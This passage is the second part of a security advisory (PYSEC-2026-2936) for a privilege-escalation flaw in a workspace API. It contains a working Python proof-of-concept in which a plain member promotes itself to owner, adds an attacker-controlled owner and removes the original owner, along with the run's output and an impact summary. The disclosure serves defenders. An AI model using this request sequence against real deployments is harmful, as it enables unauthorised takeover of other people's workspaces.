Advisory

PYSEC-2026-2936

Details, part 2 of 2. The advisory

Details

member_json = member.json()
extra_json = extra.json()

owner_headers = {"Authorization": f"Bearer {owner_json['token']}"}
member_headers = {"Authorization": f"Bearer {member_json['token']}"}

# 4. Create a workspace as the owner.
workspace = await client.post(
"/api/v1/workspaces/",
json={
"name": f"ws-{suffix}",
"slug": f"ws-{suffix}",
"description": "rbac bypass poc",
},
headers=owner_headers,
)

workspace_id = workspace.json()["id"]

# 5. Owner adds the second user as a normal low-privilege member.
added_member = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={
"user_id": member_json["user"]["id"],
"role": "member",
},
headers=owner_headers,
)

# 6. Low-privilege member self-promotes to owner.
promoted = await client.patch(
f"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}",
json={
"role": "owner",
},
headers=member_headers,
)

# 7. The same formerly-low-privilege member adds a third account as owner.
added_owner = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={
"user_id": extra_json["user"]["id"],
"role": "owner",
},
headers=member_headers,
)

# 8. The same account removes the original owner.
removed_original_owner = await client.delete(
f"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}",
headers=member_headers,
)

# 9. Confirm remaining membership state.
remaining_members = await client.get(
f"/api/v1/workspaces/{workspace_id}/members",
headers=member_headers,
)

remaining_roles = [m["role"] for m in remaining_members.json()]

print(f"[poc] owner_status={owner.status_code}")
print(f"[poc] member_status={member.status_code}")
print(f"[poc] extra_status={extra.status_code}")
print(f"[poc] workspace_status={workspace.status_code}")
print(f"[poc] add_status={added_member.status_code} role={added_member.json()['role']}")
print(f"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}")
print(f"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}")
print(f"[poc] remove_original_owner_status={removed_original_owner.status_code}")
print(f"[poc] remaining_roles={remaining_roles}")

if promoted.status_code != 200 or promoted.json()["role"] != "owner":
raise SystemExit("[poc] MISS: low-privilege member did not become owner")

if added_owner.status_code != 201 or added_owner.json()["role"] != "owner":
raise SystemExit("[poc] MISS: promoted attacker could not add a new owner")

if removed_original_owner.status_code != 204:
raise SystemExit("[poc] MISS: promoted attacker could not remove the original owner")

if remaining_roles.count("owner") < 2:
raise SystemExit("[poc] MISS: expected attacker-controlled owners after takeover")

print("[poc] HIT: low-privilege member became owner and took over workspace membership")

await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None

return 0

if __name__ == "__main__":
raise SystemExit(asyncio.run(main()))


#### Observed output

```text
[poc] owner_status=201
[poc] member_status=201
[poc] extra_status=201
[poc] workspace_status=201
[poc] add_status=201 role=member
[poc] promote_status=200 role=owner
[poc] add_owner_status=201 role=owner
[poc] remove_original_owner_status=204
[poc] remaining_roles=['owner', 'owner']
[poc] HIT: low-privilege member became owner and took over workspace membership

Expected secure behavior

The following request should be rejected when made by a plain member:

PATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}
Authorization: Bearer <member_token>
Content-Type: application/json

{
  "role": "owner"
}

Expected response:

403 Forbidden

Actual vulnerable behavior

The request succeeds:

HTTP 200
role = owner

The same account can then add attacker-controlled owners and remove the original owner.

Impact

A low-privilege workspace member can fully take over a workspace.

Impact includes:

  • self-promoting from member to owner or admin;
  • granting owner or admin to attacker-controlled accounts;
  • changing other members' roles;
  • removing legitimate owners or members;
  • modifying workspace metadata and settings;
  • deleting the workspace;
  • taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.

The attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.

Sources & licences